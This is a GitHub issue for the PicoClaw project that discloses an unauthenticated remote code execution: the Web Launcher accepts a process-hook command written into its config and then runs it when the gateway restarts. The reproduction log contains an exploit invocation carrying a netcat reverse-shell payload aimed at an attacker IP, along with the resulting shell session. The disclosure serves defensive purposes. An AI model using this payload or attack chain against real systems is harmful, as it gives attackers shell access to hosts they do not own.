

sipeed / picoclaw Public[Code](#) [Issues 170](#) [Pull requests 148](#) [Discussions](#) [Actions](#) [Projects](#)[New issue](#)

# [Security Policy] PicoClaw Process Hook RCE #2307

[Open](#)

Labels

[domain: config](#)[type: bug](#)

CH13hh opened 3 weeks ago · edited by CH13hh

Edits ▾ ⋮

## Quick Summary

The unauthenticated Web Launcher management plane can directly change the config.json, write any hooks.processes[\*].command into it, and then restart the gateway through the unauthenticated POST /api/gateway/restart. When the gateway starts, this command is immediately started as a process hook, forming a stable RCE

## Environment & Tools

- **PicoClaw Version:** ( picoclaw-0.2.4)
- **Go Version:** (Go 1.25.8)
- **Operating System:** (e.g., Ubuntu 20.04TLS)



## Steps to Reproduce

This vulnerability can directly result in unauthenticated remote code execution under the following conditions. The target launches **picoclaw-launcher -public** or the launcher is deployed as an accessible management plane in the same CIDR segment and allowed\_cidrs is empty, or the attacker IP is within the allowed range

## ✖ Actual Behavior

```

virtual-machine:~/picoclaw$ ./picoclaw-launcher -h
PicoClaw Launcher - A web-based configuration editor

Usage: ./picoclaw-launcher [options] [config.json]

Arguments:
  config.json  Path to the configuration file (default: ~/.picoclaw/config.json)

Options:
  -console      Console mode, no GUI
  -lang string  Language: en (English) or zh (Chinese). Default: auto-detect from system locale
  -no-browser   Do not auto-open browser on startup
  -port string  Port to listen on (default "18800")
  -public       Listen on all interfaces (0.0.0.0) instead of localhost only

Examples:
  ./picoclaw-launcher           Use default config path
  ./picoclaw-launcher ./config.json  Specify a config file
  ./picoclaw-launcher -public ./config.json  Allow access from other devices on the network
virtual-machine:~/picoclaw$ ./picoclaw-launcher -public
> python3 exploit_hook_rce.py http://192.168.102.167:18800 --proof-command "nc.traditional -e /bin/bash 192.168.102.145 4444"
[*] Config updated: {'status': 'ok'}
[*] Gateway restart response: {'pid': 4899, 'status': 'ok'}
[+] RCE confirmed. Proof file contents:
> nc -lnvp 4444
Listening on [any] 4444 ...
connect to [192.168.102.145] from (UNKNOWN) [192.168.102.167] 60846
id
用户id=1000( ) 组id=1000( ) 组=1000( ) ,4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),133(lxd),134(sambashare),137(docker)

```


Fix suggestion: Add mandatory identity authentication to the management interface, and implement strict input path and parameter verification for hooks commands in the configuration.


## 💬 Email :

[aisec@tiansu.org](mailto:aisec@tiansu.org)

 **sipeed-bot** added **type: bug** **domain: config** 3 weeks ago

 **github-actions** mentioned this 3 weeks ago

 **OpenClaw 生态日报 2026-04-04 gsscsd/big\_model\_radar#131**

 **sipeed-bot** **bot** last week – with [Sipeed Bot](#) ⋮

**@CH13hh** Hi! This issue has been inactive for over a week. If there's no update in the next 7 days, it will be closed automatically. If you're still working on it, just leave a comment to keep it open!

[Sign up for free](#) to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

## Metadata

### Assignees

No one assigned

### Labels

domain: config

type: bug

### Type

No type

### Projects

No projects

### Milestone

No milestone

### Relationships

None yet

### Development

No branches or pull requests

### Participants



